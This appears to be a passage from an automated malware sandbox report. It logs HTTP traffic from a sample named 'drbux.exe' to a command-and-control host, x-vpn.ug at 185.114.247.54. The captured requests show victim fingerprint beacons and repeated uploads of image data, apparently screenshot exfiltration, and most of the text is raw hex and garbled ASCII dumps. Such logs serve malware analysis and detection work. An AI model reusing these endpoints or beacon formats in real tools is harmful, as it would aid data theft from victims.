Jul 19, 2021 18:35:32.839154005 CEST	3298	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:32.839209080 CEST	3299	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:32.840138912 CEST	3305	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:32.929193020 CEST	3310	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:33.149465084 CEST	3363	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.6	49999	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:37.220434904 CEST	17968	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:37.305474043 CEST	17982	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.6	50000	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:37.288887978 CEST	17969	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----99cc801d75cb19bfa907b4bc028dba4f Host: x-vpn.ug Content-Length: 97234 Cache-Control: no-cache
Jul 19, 2021 18:36:37.289011002 CEST	17969	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 39 39 63 63 38 30 31 64 37 35 63 62 31 39 62 66 61 39 30 37 62 34 62 63 30 32 38 64 62 61 34 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------99cc801d75cb19bfa907b4bc028dba4fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:37.289220095 CEST	17979	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:37.289388895 CEST	17982	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:37.367007971 CEST	17983	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:37.368134022 CEST	17986	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:37.368437052 CEST	17994	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:37.368765116 CEST	17999	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:37.369117975 CEST	18003	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:37.369743109 CEST	18009	OUT	Data Raw: 2b f6 54 69 0a 6f 9e 35 91 d1 1b 69 65 8c 90 ec a0 e7 2c aa 40 c1 f4 38 cd ae 85 bc 63 71 71 e1 b5 d2 27 1a ac 22 35 9a 34 fb 1e a6 62 81 d5 dc be 25 87 61 0e 41 62 32 0a e4 60 1e 99 ae 74 74 ad 28 b9 b5 ef 91 59 41 3f 70 5a 96 dd a0 4b 84 6b a8 Data Ascii: +Tio5ie,@8cqq'"54b%aAb2`tt(YA?pZKk~t@qmi\^Zx%g;K`tN@/5MNYkm>#XPD#s)KpTi\EA1M_4RKOFH2.n01d^'
Jul 19, 2021 18:36:37.446183920 CEST	18017	OUT	Data Raw: a7 63 a8 b8 9f 67 84 24 7f 44 35 e3 57 72 66 43 5e b3 aa ab da f8 2a 65 93 86 e9 5e 3f 70 df 39 ac b2 a4 92 9b f3 3d 2c ce ee a4 13 ec 7a 7c 5c 7c 3b b3 fc 2b 96 97 24 9a ea 95 49 f8 7d 62 3d 71 5c cc b1 13 eb 9a 30 6d 5e 7e ac e6 cd 60 df 2d bb Data Ascii: cg$D5WrfC^*e^?p9=,z\|\\|;+$I}b=q\0m^~`-")#z)x.-n%QLBIJ=@OxOJYhx)AS@C5HpfTziEMg(4;y:a/w.=hb8OMl)\|305SC${WX
Jul 19, 2021 18:36:37.446321964 CEST	18030	OUT	Data Raw: 1f d0 d4 17 bf f1 fd 37 fb e7 f9 d7 2a 7f bf 7e 86 93 fe 0a f5 2b d1 45 15 d0 72 8b 4b 48 29 68 10 b4 a3 b5 25 14 84 3a 8a 41 40 a4 02 d2 e2 81 45 21 05 14 51 de 80 0a 28 a2 81 0b 40 a4 a5 a0 2c 3a 9c bf 78 53 69 cb f7 85 4b d8 16 e6 e7 8c c6 3c Data Ascii: 7~+ErKH)h%:A@E!Q(@,:xSiK<yX>5 xCLC\8OV}_z#N4-'XoVF1Vr7.)pi3K8)RAH(niHwjQH;SAhQHK4B7(4CZ!O N`9L<T@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.6	50001	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:37.508764029 CEST	18060	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:37.602417946 CEST	18068	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:37.637840033 CEST	18069	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:37.638040066 CEST	18069	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:37.638267994 CEST	18079	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:37.638408899 CEST	18082	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:37.727051973 CEST	18095	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:37.727109909 CEST	18109	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:37.809331894 CEST	18117	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:37.827833891 CEST	18150	OUT	Data Raw: 4b f6 f1 e9 59 d4 53 55 64 2f 63 03 4f fb 40 0e d4 7d bc 1e d5 9b 4b 4f db 48 5e c6 06 a2 df a8 3c d3 c6 a2 be 95 93 40 a7 ed e4 4b a1 03 5b fb 45 3d 29 7f b4 53 d2 b2 68 a7 ed e4 2f 61 03 57 fb 41 29 c2 fe 3f 4a c9 a5 a6 ab c8 5e c2 06 b7 db e3 Data Ascii: KYSUd/cO@}KOH^<@K[E=)Sh/aWA)?J^B:$/w5K$/@t^<1xRH@}}j"~ti}A}5k%s\|S'\O;'d8:?ROA>SO/G}Qu
Jul 19, 2021 18:36:37.891513109 CEST	18155	OUT	Data Raw: 8e 27 0f 14 4d e5 98 a5 19 03 70 0c 9c a1 ea 07 40 76 91 94 9a ee 9b 05 9e 8d a3 cb 77 f6 ad 34 5a 4d 67 a8 98 63 6c 2e 6e 24 74 95 03 a8 c9 5c ab 8e 33 d5 4e 32 45 72 58 1e 94 94 46 8a 56 d7 6b 7e 0a c3 75 5d ad fd 6f 73 63 c5 97 d6 ba 9f 8c 75 Data Ascii: 'Mp@vw4ZMgcl.n$t\3N2ErXFVk~u]oscu)\|[)6p@#5M'_iWmj"xwq)XYvy)F?gh(v';cMlKhm;S&I\|)w@sP>\|kH:HKHY g.F~J0=):)
Jul 19, 2021 18:36:37.891597033 CEST	18165	OUT	Data Raw: 52 e6 4b 67 58 98 37 dd c3 11 83 9e dc f3 55 1a 71 8b ba 63 b5 b6 46 7d 06 b5 6e bc 33 af d8 47 e6 5e 68 7a 9d b4 7b 4b ee 9a d2 44 1b 47 53 92 3a 0c 8c 9a ce 68 25 48 23 9d a2 75 86 42 c1 24 2a 42 b1 18 c8 07 be 32 33 f5 15 ad d0 ac 32 8a 4a 5a Data Ascii: RKgX7UqcF}n3G^hz{KDGS:h%H#uB$*B232JZd%PSEAf.(Q@BJPi(AES@ERQLQL(Z())i()Rf!RQ@ESRREPZm(4:J(QI@@wRQLB
Jul 19, 2021 18:36:37.982364893 CEST	18166	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.6	50002	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:37.809951067 CEST	18117	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:37.891696930 CEST	18165	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.6	50003	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:38.078449965 CEST	18167	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:38.174345970 CEST	18167	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:38.185831070 CEST	18168	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:38.185935974 CEST	18168	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:38.186106920 CEST	18178	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:38.186211109 CEST	18181	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:38.267388105 CEST	18208	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:38.346250057 CEST	18213	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:36:38.347094059 CEST	18252	OUT	Data Raw: 3a 92 97 fc 6a 59 68 70 a9 01 a6 28 e6 9f 8a 86 68 87 03 4f 06 99 4e 15 0c b4 48 29 c2 98 05 3c 73 52 cb 42 d2 8e 94 01 4e 02 a5 96 28 15 e5 9f 14 4e 56 1f fa ee df fa 08 af 53 15 e5 5f 14 7a 41 ff 00 5d 9b ff 00 41 5a d2 8f c4 45 5e 87 90 10 3d Data Ascii: :jYhp(hONH)<sRBN(NVS_zA]AZE^=(J{)y<JxaG&i\ANzfiA"@T`D)AFh0@~TM5,h@=7;!SSAHilzN4U{p=/z
Jul 19, 2021 18:36:38.389492989 CEST	18255	OUT	Data Raw: 25 21 a0 05 a2 90 52 d0 16 0a 28 a2 80 0a 28 a2 81 0b 9a 5a 43 45 30 16 8a 42 68 cd 02 16 8a 28 a0 05 a2 8e 69 29 80 ea 29 28 14 08 75 14 94 50 02 e6 8c d2 51 4c 05 a3 34 86 97 34 0a c2 d2 d2 52 d3 13 0a 28 e6 8a 04 2d 14 94 50 03 a8 ef 49 9a 51 Data Ascii: %!R((ZCE0Bh(i))(uPQL44R(-PIQLRQ@IFhJ(h\f-fJ):nh;u.E6pHi3IQHbR3Fi,;4f)\vM!4.;%43Hvi(QM4%qM%fZ)3F
